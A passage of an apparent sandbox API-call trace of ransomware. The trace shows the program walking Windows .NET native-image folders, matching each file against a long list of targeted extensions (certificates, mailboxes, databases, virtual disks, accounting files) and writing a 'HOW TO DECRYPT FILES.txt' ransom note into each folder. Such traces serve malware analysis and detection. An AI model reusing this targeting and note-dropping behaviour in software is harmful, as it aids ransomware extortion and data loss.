(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.p12") returned 0 [0111.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.gpg") returned 0 [0111.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.vsd") returned 0 [0111.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.odg") returned 0 [0111.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.raw") returned 0 [0111.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.nef") returned 0 [0111.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.svg") returned 0 [0111.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.psd") returned 0 [0111.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.vmx") returned 0 [0111.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.vmdk") returned 0 [0111.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.vdi") returned 0 [0111.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.lay6") returned 0 [0111.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.mpeg") returned 0 [0111.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.djvu") returned 0 [0111.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.tiff") returned 0 [0111.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.backup") returned 0 [0111.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.pdf") returned 0 [0111.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.cert") returned 0 [0111.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.docm") returned 0 [0111.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.xlsm") returned 0 [0111.363] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.dwg") returned 0 [0111.364] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.nd") returned 0 [0111.364] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.tlg") returned 0 [0111.364] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.lgb") returned 0 [0111.365] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.mov") returned 0 [0111.365] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.xdw") returned 0 [0111.365] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.ods") returned 0 [0111.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.wav") returned 0 [0111.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.mp3") returned 0 [0111.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.aiff") returned 0 [0111.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.flac") returned 0 [0111.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.m4a") returned 0 [0111.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.csv") returned 0 [0111.371] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d827ec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2d827ec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2d827ec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x19e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Vsa.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.371] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.371] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2da894d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2da894d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2da894d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bb235aa98e8e876f0f641c4d486f9151", cAlternateFileName="BB235A~1")) returned 0 [0111.371] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.371] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd17f492, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe0ac0ee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe0ac0ee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Windows.D#", cAlternateFileName="MICROS~1.D#")) returned 1 [0111.371] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.D#") returned -1 [0111.371] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.D#") returned -1 [0111.371] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.371] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Windows.D#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#" [0111.371] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd17f492, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe0ac0ee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe0ac0ee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.375] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.375] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd17f492, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe0ac0ee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe0ac0ee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.375] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.375] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.375] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4eb438, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd4eb438, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd4eb438, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="03ab7eafba7f39a47e9e50e59551395a", cAlternateFileName="03AB7E~1")) returned 1 [0111.375] lstrcmpA (lpString1=".", lpString2="03ab7eafba7f39a47e9e50e59551395a") returned -1 [0111.375] lstrcmpA (lpString1="..", lpString2="03ab7eafba7f39a47e9e50e59551395a") returned -1 [0111.375] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\*.*") returned="*.*" [0111.375] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\", lpString2="03ab7eafba7f39a47e9e50e59551395a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a" [0111.375] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4eb438, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd4eb438, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd4eb438, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.378] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.378] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4eb438, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd4eb438, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd4eb438, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.378] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.378] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.378] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4c52d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd4c52d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd4c52d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.378] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.378] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll") returned -1 [0111.378] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll") returned -1 [0111.378] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll") returned -1 [0111.378] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\*.*") returned="*.*" [0111.378] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\" [0111.378] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\") returned="" [0111.378] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\HOW TO DECRYPT FILES.txt" [0111.378] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\03ab7eafba7f39a47e9e50e59551395a\\how to decrypt files.txt")) returned 0xffffffff [0111.378] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\03ab7eafba7f39a47e9e50e59551395a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.383] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.384] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.384] CloseHandle (hObject=0x90) returned 1 [0111.385] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll" [0111.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ems") returned 0 [0111.385] lstrlenA (lpString="*.ems") returned 5 [0111.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.db") returned 0 [0111.385] lstrlenA (lpString="*.db") returned 4 [0111.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dbf") returned 0 [0111.385] lstrlenA (lpString="*.dbf") returned 5 [0111.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.myox") returned 0 [0111.385] lstrlenA (lpString="*.myox") returned 6 [0111.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.myo") returned 0 [0111.385] lstrlenA (lpString="*.myo") returned 5 [0111.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbw") returned 0 [0111.385] lstrlenA (lpString="*.qbw") returned 5 [0111.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbb") returned 0 [0111.385] lstrlenA (lpString="*.qbb") returned 5 [0111.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbm") returned 0 [0111.385] lstrlenA (lpString="*.qbm") returned 5 [0111.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbo") returned 0 [0111.385] lstrlenA (lpString="*.qbo") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbx") returned 0 [0111.386] lstrlenA (lpString="*.qbx") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qba") returned 0 [0111.386] lstrlenA (lpString="*.qba") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qby") returned 0 [0111.386] lstrlenA (lpString="*.qby") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbj") returned 0 [0111.386] lstrlenA (lpString="*.qbj") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ofx") returned 0 [0111.386] lstrlenA (lpString="*.ofx") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qif") returned 0 [0111.386] lstrlenA (lpString="*.qif") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mye") returned 0 [0111.386] lstrlenA (lpString="*.mye") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mbox") returned 0 [0111.386] lstrlenA (lpString="*.mbox") returned 6 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.eml") returned 0 [0111.386] lstrlenA (lpString="*.eml") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pst") returned 0 [0111.386] lstrlenA (lpString="*.pst") returned 5 [0111.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ost") returned 0 [0111.386] lstrlenA (lpString="*.ost") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.idx") returned 0 [0111.387] lstrlenA (lpString="*.idx") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dbx") returned 0 [0111.387] lstrlenA (lpString="*.dbx") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.sql") returned 0 [0111.387] lstrlenA (lpString="*.sql") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mdb") returned 0 [0111.387] lstrlenA (lpString="*.mdb") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.fdb") returned 0 [0111.387] lstrlenA (lpString="*.fdb") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.wab") returned 0 [0111.387] lstrlenA (lpString="*.wab") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dat") returned 0 [0111.387] lstrlenA (lpString="*.dat") returned 5 [0111.387] PathMatchSpecA 